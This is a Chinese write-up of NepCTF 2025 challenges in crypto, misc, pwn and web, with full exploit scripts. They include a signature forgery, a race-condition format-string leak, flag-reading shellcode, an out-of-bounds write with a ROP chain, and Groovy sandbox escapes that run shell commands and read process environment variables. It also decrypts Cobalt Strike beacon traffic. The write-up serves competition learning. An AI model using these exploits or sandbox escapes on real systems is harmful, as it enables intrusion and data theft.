Crypto
nepsign
分析sever.py
实现了一个签名-验证系统
签名者根据输入 msg 计算 step[0..47],然后使用私钥生成签名数组 qq[i] = SM3_n(sk[i], step[i]):
前32位 step[i]:是 SM3(msg) 哈希值的每8位(即 32 个字节,共 256 bit)。
后16位 step[i]:是 SM3(msg) 中某个字符(例如 ‘a’)在前64位中出现的位置和,对 255 取模。
对每个 sk[i] 执行 step[i] 次迭代,得到 qq[i],最后接收多行服务器返回,避免遗漏
直接拷打ai,脚本如下:
from gmssl import sm3
from pwn import remote, context
import string
import random
import os
import sys
from ast import literal_eval
def hash_sm3(data):
if isinstance(data, str):
data = data.encode()
return sm3.sm3_hash(list(data))
def hash_sm3_n(sk, n, bits=256):
sk = sk if isinstance(sk, bytes) else sk.encode()
for _ in range(n):
sk = bytes.fromhex(hash_sm3(sk))
return sk.hex()[:bits // 4]
def compute_steps(msg):
msg = msg.encode() if isinstance(msg, str) else msg
digest = hash_sm3(msg)
binary = bin(int(digest, 16))[2:].zfill(256)
primary = [int(binary[i * 8:(i + 1) * 8], 2) for i in range(32)]
freq_map = [sum(j + 1 for j in range(64) if digest[j] == h) % 255 for h in '0123456789abcdef']
return primary + freq_map, digest
def collect_secrets(conn, msg_target, step_target):
secret_keys = [None] * 48
discovered = set()
msg_prefix = b'secret_'
attempts = 0
print("[*] Gathering secret key parts...")
while len(discovered) < 48:
suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=10)).encode()
msg_try = msg_prefix + suffix
if msg_try == msg_target:
continue
try:
step_vals, _ = compute_steps(msg_try)
except:
continue
indices_needed = [i for i in range(48) if secret_keys[i] is None and step_vals[i] == 0]
if not indices_needed:
continue
try:
conn.sendline(b'1')
conn.recvuntil(b'msg: ')
conn.sendline(msg_try.hex().encode())
response = conn.recvline().decode().strip()
sig_parts = literal_eval(response)
if not isinstance(sig_parts, list) or len(sig_parts) != 48:
continue
except:
print("[!] Lost connection. Reconnecting...")
conn.close()
conn = reconnect()
continue
for i in indices_needed:
try:
secret_keys[i] = bytes.fromhex(sig_parts[i])
discovered.add(i)
except:
continue
print(f"[+] Secrets retrieved at indices: {indices_needed}")
return secret_keys
def forge_signature(secret_keys, step_ref):
forged = []
for idx, sk in enumerate(secret_keys):
try:
forged.append(hash_sm3_n(sk, step_ref[idx]))
except:
print(f"[!] Failed to compute signature for index {idx}")
sys.exit(1)
return forged
def reconnect():
print("[*] Re-establishing connection...")
conn = remote(TARGET_HOST, TARGET_PORT, ssl=True, sni=TARGET_HOST)
conn.recvuntil(b'> ')
return conn
def main():
global TARGET_HOST, TARGET_PORT
TARGET_HOST = 'nepctf31-xnmd-9ly9-5vcz-nbdjgtzlv029.nepctf.com'
TARGET_PORT = 443
context.log_level = 'error'
goal_msg = b'happy for NepCTF 2025'
target_steps, _ = compute_steps(goal_msg)
print(f"[+] Connecting to {TARGET_HOST}:{TARGET_PORT} via SSL...")
conn = remote(TARGET_HOST, TARGET_PORT, ssl=True, sni=TARGET_HOST)
conn.recvuntil(b'> ')
print("[+] Connected.")
sk_parts = collect_secrets(conn, goal_msg, target_steps)
fake_signature = forge_signature(sk_parts, target_steps)
print("Forged signature ready. Sending to server...")
try:
conn.sendline(b'2')
conn.recvuntil(b'give me a qq: ')
conn.sendline(str(fake_signature).encode())
result = conn.recvline().decode()
print(f"[+] Server reply: {result}")
try:
more = conn.recv(timeout=1)
if more:
print(f"[+] Additional data: {more.decode()}")
except:
pass
except:
print("[!] Submission failed.")
sys.exit(1)
conn.close()
if __name__ == '__main__':
main()
NepCTF{8981a578-6d5c-2b77-4576-76001e81250a}
Misc
NepBotEvent
解压文件夹得到NepBot_keylogger的二进制数据文件,从题目信息可以知道这是一个键盘记录器(Keylogger), 用010打开,把16进制提取出来
看不懂,丢一部分拷打ai
Ai回答:解析NepBot_keylogger文件。从题目描述和xxd的输出格式来看,这很可能是一个Linux环境下键盘事件的原始记录文件。在Linux中,键盘、鼠标等输入设备的事件通常通过/dev/input/event*接口进行读取,其数据结构为struct input_event。
1. 确定数据结构
首先,我们需要确定这个键盘记录器文件的数据结构。xxd的输出以16字节为一行,但记录的单位不一定是16字节。
我们来查找一下Linux内核中input_event的定义。
搜索结果确认了我们的猜想。NepBot_keylogger文件记录的是input_event结构体数组。在64位Linux系统上,该结构体定义如下:
struct input_event {
struct timeval time; // 16 bytes (8 bytes for tv_sec, 8 for tv_usec)
__u16 type; // 2 bytes
__u16 code; // 2 bytes
__s32 value; // 4 bytes
};
该结构体总共占用 16 + 2 + 2 + 4 = 24字节。
2. 解读事件数据
根据Linux输入事件的文档,我们可以这样解读每个字段:
- type: 事件类型。我们关心的是键盘按键事件,其值为EV_KEY (0x01)。
- code: 事件代码。当type为EV_KEY时,这个字段代表具体的按键码。例如,KEY_A、KEY_ENTER等。
- value: 事件的值。对于键盘事件,1代表“按下”,0代表“松开”,2代表“长按重复”。我们只关心按键被按下的瞬间,即value为1的事件。
分析与推理:
从头文件中我们知道,键盘事件的类型是EV_KEY,其值为1。我们只关心键盘,所以要过滤掉所有type不为1的事件。
if ev_type != 1:
continue
过滤事件值 (value):value对于键盘事件有三个主要值:
1: 按键 按下 (press)
0: 按键 松开 (release)
2: 按键 重复 (repeat/hold)
我们只在按键被按下或按住时才记录字符,所以要过滤掉 value 为 0 的事件。
if value == 1 or value == 2:
# ... process the key
知道这些后,让ai写脚本读取NepBot_keylogger文件,并还原字符串
实现脚本:
import struct
import sys
# 基于 /usr/include/linux/input-event-codes.h 的键码映射
# 未按下Shift键时的映射
KEY_MAP = {
2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0', 12: '-', 13: '=', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'KEY_ENTER',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 43: '\\',
44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 57: ' ' # KEY_SPACE
}
# 按下Shift键时的映射
SHIFT_KEY_MAP = {
2: '!', 3: '@', 4: '#', 5: '$', 6: '%', 7: '^', 8: '&', 9: '*', 10: '(', 11: ')', 12: '_', 13: '+', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P', 26: '{', 27: '}', 28: 'KEY_ENTER',
30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L', 39: ':', 40: '"', 41: '~', 43: '|',
44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M', 51: '<', 52: '>', 53: '?', 57: ' ' # KEY_SPACE
}
def parse_keylogger(filepath):
"""
解析Linux input_event键盘记录文件。
Args:
filepath (str): keylogger文件的路径。
Returns:
str: 重建出的键盘输入字符串。
"""
reconstructed_string = []
is_shift_pressed = False
# 64位系统中 struct input_event 的大小为 24 字节
# struct timeval (16 bytes) + type (2) + code (2) + value (4)
event_struct_format = '<qqHHi' # 小端序, 2x long long, 2x unsigned short, 1x int
event_size = struct.calcsize(event_struct_format)
try:
with open(filepath, 'rb') as f:
while True:
chunk = f.read(event_size)
if not chunk or len(chunk) < event_size:
break
# 解包二进制数据
tv_sec, tv_usec, ev_type, code, value = struct.unpack(event_struct_format, chunk)
# type=1 代表是键盘事件 (EV_KEY)
if ev_type != 1:
continue
# 根据Shift键(code 42, 54)的按下/松开状态更新标志位
if code in [42, 54]: # KEY_LEFTSHIFT, KEY_RIGHTSHIFT
is_shift_pressed = (value == 1 or value == 2) # 1=按下, 2=长按
continue
# 我们只关心按键被"按下"(value=1)或"长按"(value=2)的事件
if value == 1 or value == 2:
current_map = SHIFT_KEY_MAP if is_shift_pressed else KEY_MAP
char = current_map.get(code)
if char:
# 处理特殊功能键
if char == 'KEY_BACKSPACE':
if reconstructed_string:
reconstructed_string.pop()
elif "KEY_" not in char:
reconstructed_string.append(char)
except FileNotFoundError:
print(f"错误: 文件 '{filepath}' 未找到。请确保脚本和文件在同一目录下。", file=sys.stderr)
return None
except Exception as e:
print(f"解析过程中发生错误: {e}", file=sys.stderr)
return None
return "".join(reconstructed_string)
# --- 主程序 ---
if __name__ == "__main__":
keylogger_file = 'NepBot_keylogger'
print(f"[*] 正在解析文件: {keylogger_file}")
typed_string = parse_keylogger(keylogger_file)
if typed_string:
print("\n[+] 成功从键盘记录中重建出以下字符串:")
print(f" {typed_string}")
可得数据库名为NepCTF-20250725-114514
NepCTF{NepCTF-20250725-114514}
Speedmino
不怎么会玩这个俄罗斯方块,本来想着用CE改的,筛半天觉得麻烦
直接解压SpeedMino.exe,打开main.lua
代码审查,找到和控制分数增长速度相关的部分
在scene.update(dt)函数中,有这样一行:
scoreBuffer = scoreBuffer + multi * dt * 1 * 0.25
这一行会让你的分数随着时间和倍率(multi)持续缓慢增加。可以把0.25这个值改得更大,比如下面这里我就改成了40,修改完后保存
接着因为这个游戏是LÖVE 2D引擎制作的(从main.lua的love.keyboard.setKeyRepeat(false)可以知道)
然后访问 LÖVE 2D 官方网站的下载页面: https://love2d.org/下载安装包安装 LÖVE 2D引擎,接着把改好的文件夹Speedmino拖到love2d图标上启动,LÖVE 引擎会自动识别文件夹里的 main.lua 文件并开始运行游戏
然后就可以看到分数暴增版的俄罗斯方块了,按照题目说明,花了60多秒就达到了2600分从而弹出flag
NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
客服小美
题目给了一个流量包和raw内存文件,判断是应急响应取证题目
先用vol2看看内存
可以看到配置文件是 Win10x64_19041
先找用户名,试了一下hashdump失败了,原因可能是这个内存镜像的注册表部分有问题,或者格式非常特殊,所以换个方法,用filescan列出所有文件名到一个文本文件下,再到文本文件下检索“Users”
可得该机器的用户名是JohnDoe
接下来找偷偷通信的钓鱼木马地址
用vol2的netscan没有找到,换用memprocf试下
然后在/memfs/sys/net找到netstats.txt打开
很快发现可疑的通信地址192.168.27.132,端口号是12580,这个进程号是6492
最后来分析流量包,CS流量(因为流量包体都是二进制(非 JSON、HTML))
现在的任务就是提取并解密对称加密 Beacon 数据,因为cs默认通信协议就是 HTTP/HTTPS,所以先在wireshark里面筛选
这里重点关注post请求(Beacon 上报结果 + 被盗数据的主要通道),记住包的序号
然后用工具提取16进制的http数据流,关注90,110,130,151这些流量数据
然后找密钥
CS 的流量是加密的(AES + HMAC-SHA1),密钥只保存在被控端内存中,抓包抓不到明文或密钥,所以从内存 dump 中提取
从第二步已经知道可疑ip进程是6492
使用 Volatility 提取该进程的完整内存 dump,接着提dump中的AES和HMAC密钥
这里上网找了一下,了解到pebble这个工具的,可惜发现官方下架了,索性找到一个好用的脚本工具https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py,
我们拿一组短的加密数据来还原密钥(所有加密通信都可用同一对密钥解密)
最后拷打ai写脚本来对刚刚关注的数据一个个解密,从输出中找到来自110的可疑信息
脚本如下:
import hmac
import binascii
from Crypto.Cipher import AES
import hexdump
# Beacon 固定的 AES 和 HMAC 密钥
AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")
# 粘贴你要解密的密文数据
ENC_HEX = """
00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a
"""
def decrypt_beacon_payload(raw_bytes: bytes, aes_key: bytes, hmac_key: bytes) -> bytes:
# 处理加密长度头(前4字节)
enc_len = int.from_bytes(raw_bytes[:4], byteorder='big')
enc_data = raw_bytes[4:]
# 数据体(不含HMAC)和签名分离
cipher_text = enc_data[:enc_len - 16]
signature = enc_data[enc_len - 16:enc_len]
# 使用默认IV解密(Cobalt Strike 的固定值)
iv = b"abcdefghijklmnop"
# 可启用 HMAC-SHA256 校验
# if hmac.new(hmac_key, cipher_text, digestmod="sha256").digest()[:16] != signature:
# raise ValueError("HMAC 验证失败")
# AES-CBC 解密
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(cipher_text)
return decrypted
def parse_beacon_payload(data: bytes):
counter = int.from_bytes(data[:4], byteorder='big')
length = int.from_bytes(data[4:8], byteorder='big')
output_type = int.from_bytes(data[8:12], byteorder='big')
payload = data[12:12 + length]
print(f"[+] Counter: {counter}")
print(f"[+] Length: {length}")
print(f"[+] Output Type: {output_type}")
print(f"[+] Payload (decoded):")
print(payload.decode(errors='replace'))
print(f"\n[+] Hexdump:")
hexdump.hexdump(payload)
def main():
# 清理换行和空格
hex_clean = ENC_HEX.replace('\n', '').replace(' ', '')
enc_bytes = bytes.fromhex(hex_clean)
try:
decrypted = decrypt_beacon_payload(enc_bytes, AES_KEY, HMAC_KEY)
parse_beacon_payload(decrypted)
except Exception as e:
print(f"[-] 解密失败: {e}")
if __name__ == "__main__":
main()
可疑信息secret: 5c1eb2c4-0b85-491f-8d50-4e965b9d8a43
最后组合答案
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}
Moewble喵泡
又是一个游戏题(看成曼波了,我应该是没救了)
但是出题人给了提示,可以看看
注意到游戏主文件夹里面有个GameAssembly.dll,在Meowble_data里面还发现了il2cpp_data,已经可以确定这是一个Unity IL2CPP构建的游戏了
我们在游戏里的主要困难是遇到伤害就会死,而且关卡设计非常离谱,所以思路是尝试能不能把游戏中的小猫的死亡判定机制找到,让它实现无敌效果
然后可以用il2cppdumper来分析一下GameAssembly.dll和global-metadata.dat(MeowBle_Data\il2cpp_data\Metadata里面)
先看dump出的script.json(里面有函数映射表,尝试找一下控制死亡的函数)
记事本打开然后搜索die,发现真的有关于player die的声明
记住地址2772048,转换16进制2A4C50
接着用CE打开游戏,在内存汇编里面跳转地址GameAssembly.dll+2A4C50,这就是函数player.die()的位置
这个位置的具体地址是7FFFBC824C50(再打开一遍跳转可以看到)
接着查找汇编码call 7FFFBC824C50,看看是哪个地方调用了这个函数
一共两个地方调用了player.die
接着跳转过去把相关调用给nop了,这里注意不要动其他的汇编,否则可能导致游戏崩溃
之后成功实现无敌效果,没有地方调用死亡函数,也就不会触发死亡
直接开始游戏!收集小蓝柱给的flag碎片,无视关卡障碍
顺着主路来到下图这个地方可以发现墙外也有一个小蓝柱,如果想一探究竟的话可以利用bug,抵住墙边,按住右键的同时迅速点击鼠标左键,小猫就会卡出来
然后回到墙里向左走,可以看到最有用的提示
上上下下….,可以推断出是非常有名的经典科乐美作弊指令:
上上下下左右左右BABA,在暂停界面成功调出作弊面板
先输入help看看指令表
主线游戏中我们一共可以获得8段flag,其中缺少了part 7就在这里找,输入getflag 7即可,这里顺便还能开启外挂模式,输入enablesuper true,无视墙体飞行
最后记得让小猫碰下最上层这里的球,才可以解锁后面的关卡,通关终点在入口处
将收集来的flag集结到一起,
Nepctf{94721248-773d-0b25-0e2d-db9cac299389}
Ps:后面复现的时候发现了一个更简单的方法,在MeowBle_Data里面有level关卡数据,用010打开切换文本查看,可以看到所有的蓝柱信息。如果是纯ce改,可以看我的这篇语雀:https://www.yuque.com/yhalo/yvq2az/lzunuo96pma3ar51?singleDoc# 《NepCTF2025-MISC-Meowble 喵泡 纯CE改》
PWN
Time
直接读取flag文件没有权限
注入格式化字符串,让程序之后会打印出内存地址
提交一个超长文件名(比如 “A”*10000),让程序读取这个文件名时耗时很长。
在子线程还没来得及读取完时,快速改成读取 “flag” 文件。,此时它会误以为要打开的是 “flag” 文件,并成功读取出 flag 内容。
程序读取完 flag 后,把内容放到了某个内存缓冲区(比如 buf),然后 printf(name)就开始泄露栈上内容了
类似于一个卡时间的办法
Exp:
from pwn import *
# --- Exploit Configuration ---
# The new target address you provided.
TARGET_HOST = 'nepctf31-75uk-aynz-unqr-izmaii5qk652.nepctf.com'
TARGET_PORT = 443
# The unchangeable core of the payload
DECOY_PAYLOAD = b"A" * 10000 + b'\n'
FMT_PAYLOAD = b"%22$p%23$p%24$p%25$p%26$p%27$p"
SUCCESS_MARKER = b"hello 0x" # The key to knowing we've won
def run_exploit(io, sleep_time):
"""A single attempt at the exploit with a given sleep time."""
# Stage 1: Plant the format string
io.sendlineafter(b"please input your name:", FMT_PAYLOAD)
# Stage 2: Start the race
io.sendafter(b"input file name you want to read:", DECOY_PAYLOAD)
# The critical, variable wait
time.sleep(sleep_time)
# The switch
io.sendline(b"flag")
# Check for success
try:
# We give it a 2-second timeout to wait for the "hello"
# If it's not there, this will raise an exception.
content = io.recvuntil(SUCCESS_MARKER, timeout=2)
log.success("Leaked data found.")
# We got it! Print the rest of the line and go interactive.
print((SUCCESS_MARKER + io.recvline()).decode())
io.interactive()
return True # Signal success
except EOFError:
log.failure("Connection closed unexpectedly. Race lost.")
return False # Signal failure
except PwnlibException:
log.failure("Did not receive success marker. Race lost.")
return False # Signal failure
def main():
"""
Main loop to find the correct timing.
"""
log.info("=" * 50)
log.info(f"Starting auto-timing exploit for {TARGET_HOST}")
log.info("=" * 50)
# We will test sleep values from 0.01 to 0.20 seconds
for i in range(1, 21):
sleep_duration = i * 0.01
log.info(f"Attempting exploit with a sleep duration of {sleep_duration:.2f} seconds...")
# We need a new connection for each attempt
p = None
try:
p = remote(TARGET_HOST, TARGET_PORT, ssl=True, timeout=5)
# Disable debug logs for clean output during the loop
context.log_level = 'info'
if run_exploit(p, sleep_duration):
# If the exploit was successful, we break the loop.
break
finally:
# Always make sure the connection is closed if it exists
if p:
p.close()
# Re-enable debug for pwntools connection logs on the next attempt
context.log_level = 'debug'
if __name__ == "__main__":
main()
这里hello之后就是flag内容,但是是16进制小端序排列的,手动调整一下
smallbox
保护全开,程序让输入shellcode,但是发现可以上传任意长度,
那就造shellcode,把flag读出来
获取栈上的输入缓冲区地址
构造 “flag” 字符串 并通过系统调用 open 打开这个文件。。
使用 read 系统调用 读取 flag 文件内容到缓冲区。
用多次 write 系统调用 把读取到的 flag 内容输出到标准输出、
这里用了一个延时,拖慢子线程,让主线程有时间去修改文件名或变量
Exp:
from pwn import *
context.arch = 'amd64'
host = 'nepctf31-vdnj-tgag-xq21-ivegdpr3s895.nepctf.com'
port = 443
# --- Shellcode -
sc = asm('''
mov r12d, DWORD PTR [rbp-0xc]
xor r10d, r10d
push 0x10
pop rdi
xor edx, edx
mov rsi, r12
push 0x65
pop rax
syscall
mov rcx, 0x11e1a300
loop:
dec rcx
jne loop
movabs r10, 0x101010101010101
push r10
movabs r10, 0x1010cebdd0cef01
xor QWORD PTR [rsp], r10
pop r10
push 0xc
pop rdi
xor edx, edx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r15, 0xdeadc0dee00
mov r13, QWORD PTR [r15+0x80]
movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x58026a67616c6668
push 0x4
pop rdi
movabs rdx, 0x101010101010101
push rdx
movabs rdx, 0x1010cebdd0ce101
xor QWORD PTR [rsp], rdx
pop rdx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x41050ff631e78948
push 0x4
pop rdi
movabs rdx, 0x101010101010101
push rdx
movabs rdx, 0x1010cebdd0ce109
xor QWORD PTR [rsp], rdx
pop rdx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0xc689487fffffffba
push 0x4
pop rdi
movabs rdx, 0x101010101010101
push rdx
movabs rdx, 0x1010cebdd0ce111
xor QWORD PTR [rsp], rdx
pop rdx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0xf995f016a58286a
push 0x4
pop rdi
movabs rdx, 0x101010101010101
push rdx
movabs rdx, 0x1010cebdd0ce119
xor QWORD PTR [rsp], rdx
pop rdx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x9090909090909005
push 0x4
pop rdi
movabs rdx, 0x101010101010101
push rdx
movabs rdx, 0x1010cebdd0ce121
xor QWORD PTR [rsp], rdx
pop rdx
mov rsi, r12
push 0x65
pop rax
syscall
movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall
xor r10d, r10d
push 0x11
pop rdi
xor edx, edx
mov rsi, r12
push 0x65
pop rax
syscall
''')
# 连接与交互
p = remote(host, port, ssl=True, sni=host)
p.recvuntil(b'[+] please input your shellcode:')
p.sendline(sc)
p.interactive()
Canutrytry
Pie没开,地址固定,有canary,尝试任意地址写 + 栈劫持 + ROP
根据题意
设置 size = -1
绕过数组边界检查,开启负索引写任意地址的能力。
add chunk 泄露 libc 地址,程序分配 chunk 后会回显一个 libc 中函数地址,可计算 libc base
程序再泄露一个栈地址,用于后续 ROP 写入与控制返回地址
越界写 fake chunk 指针到 stack-12
将 chunk[-3710] 的指针改为指向栈上的返回地址
然后越界写 chunk[-3711] 的内容为 ROP 链
构造 syscall(write) ROP,输出 flag 所在内存。
程序返回 → 跳转 ROP 链执行 → 打印 flag
EXP:
from pwn import *
context.binary = ELF('./libc.so.6')
context.log_level = 'debug'
libc = context.binary
HOST = 'nepctf31-meqv-3uu2-2x3w-xemna37gg498.nepctf.com'
PORT = 443
io = remote(HOST, PORT, ssl=True, sni=HOST)
# 设置 size 为 -1,
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'size:', b'-1')
# 分配 chunk 并获取 setbuf 泄露地址 ,计算 libc base
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'1')
io.recvuntil(b'0x')
leaked_addr = int(io.recvuntil(b'\n', drop=True), 16)
libc_base = leaked_addr - libc.sym['setbuf']
log.success(f'Libc base: {hex(libc_base)}')
# 计算 gadget 地址
pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x126101
pop_rdx_rbx = libc_base + 0x90529
syscall = libc_base + 0x91396
target_mem = 0x4053C0
# 构造用于 syscall(write) 的 ROP 链
payload = flat(
pop_rax, 1,
pop_rdi, 1,
pop_rsi, target_mem,
pop_rdx_rbx, 0x100, 0,
syscall
)
# 获取栈地址
io.recvuntil(b'0x')
stack_leak = int(io.recvuntil(b'\n', drop=True), 16)
log.success(f'Stack leak: {hex(stack_leak)}')
# 越界写第一个:将 -3710 指向 stack-12
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index:', b'-3710')
io.sendafter(b'content:', p64(stack_leak - 12) * 10)
# 越界写第二个:将 payload 写入栈上 ROP 区域
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index:', b'-3711')
io.sendafter(b'content:', payload)
# 等待返回,执行 ROP 链
io.interactive()
Web
easyGooGooVVVY
环境启用了沙箱机制
那就用纯Java 基本语法和控制流
读取当前进程的所有环境变量
def aaa = new FileInputStream('/proc/self/environ')
def bytes = []
int b
while((b = aaa.read()) != -1) {
bytes << (byte)b
}
new String(bytes as byte[])
flag{2cca0e03-8e6e-3dad-c8f6-488585b0ec02}
RevengeGooGooVVVY
题目和上一题一样,但是这题给了两个java文件
构造了一个非常严格的Groovy 沙箱 SecureASTCustomizer,对用户注入的表达式做了严格限制,禁用 .execute(), while, for, .class, 反射
那就利用命令行读取环境变量
[‘sh’, ‘-c’, ‘echo $FLAG’]:让 shell 执行一条命令从当前进程的环境变量中读取 flag
Payload:
def p = new ProcessBuilder(['sh','-c','echo $FLAG'])
def r = p.start()
r.waitFor()
r.inputStream.text.trim()
NepCTF{f902b14f-8f73-e726-dde9-bd99204298d7}
本次比赛我认为是非常有质量的,很多地方卡了很久,遗憾就是逆向零解题(╥╯^╰╥),期待明年的nep吧≧▽≦